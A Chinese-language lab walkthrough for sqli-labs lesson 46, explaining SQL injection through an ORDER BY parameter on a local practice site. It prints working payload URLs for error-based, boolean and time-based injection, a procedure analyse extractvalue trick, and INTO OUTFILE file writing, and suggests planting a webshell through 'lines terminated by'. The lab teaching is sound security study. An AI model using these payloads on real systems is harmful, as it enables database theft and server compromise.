Sqli-labs less 46


Less-46

從本關開始,我們開始學習order by 相關注入的知識。

本關的sql語句為$sql = "SELECT * FROM users ORDER BY $id";

嘗試?sort=1 desc或者asc,顯示結果不同,則表明可以注入。(升序or降序排列)

從上述的sql語句中我們可以看出,我們的注入點在order by后面的參數中,而order by不同於的我們在where后的注入點,不能使用union等進行注入。如何進行order by的注入,我們先來了解一下mysql官方select的文檔。

我們可利用order by后的一些參數進行注入。

首先

(1)、order by 后的數字可以作為一個注入點。也就是構造order by 后的一個語句,讓該語句執行結果為一個數,我們嘗試

http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)

沒有報錯,但是right換成left都一樣,說明數字沒有起作用,我們考慮布爾類型。此時我們可以用報錯注入和延時注入。

此處可以直接構造 ?sort= 后面的一個參數。此時,我們可以有三種形式,

①直接添加注入語句,?sort=(select ******)

②利用一些函數。例如rand()函數等。?sort=rand(sql語句)

Ps:此處我們可以展示一下rand(ture)和rand(false)的結果是不一樣的。

③利用and,例如?sort=1 and (加sql語句)。

同時,sql語句可以利用報錯注入和延時注入的方式,語句我們可以很靈活的構造。

報錯注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

上述例子,可以看到root@localhost的用戶名

 

接下來我們用rand()進行演示一下,因為上面提到rand(true)和 rand(false)結果是不一樣的。

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)

 

 

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

 

從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,可以看出報錯注入是成功的。

 

延時注入例子

http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)

 

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))

上述兩個延時注入的例子可以很明顯的看出時間的不同,這里就不貼圖了,圖片無法展示延時。。。

 

同時也可以用?sort=1 and 后添加注入語句。這里就不一一演示了。

  1. procedure analyse參數后注入

    利用procedure analyse參數,我們可以執行報錯注入。同時,在procedure analyse和order by之間可以存在limit參數,我們在實際應用中,往往也可能會存在limit后的注入,可以利用procedure analyse進行注入。

    以下為示范例

    http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

  2. 導入導出文件into outfile參數

    http://127.0.0.1/sqllib/Less-46/?sort=1%20into%20outfile%20%22c:\\wamp\\www\\sqllib\\test1.txt%22

    將查詢結果導入到文件當中

    那這個時候我們可以考慮上傳網馬,利用lines terminated by。

    Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x(網馬進行16進制轉換)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM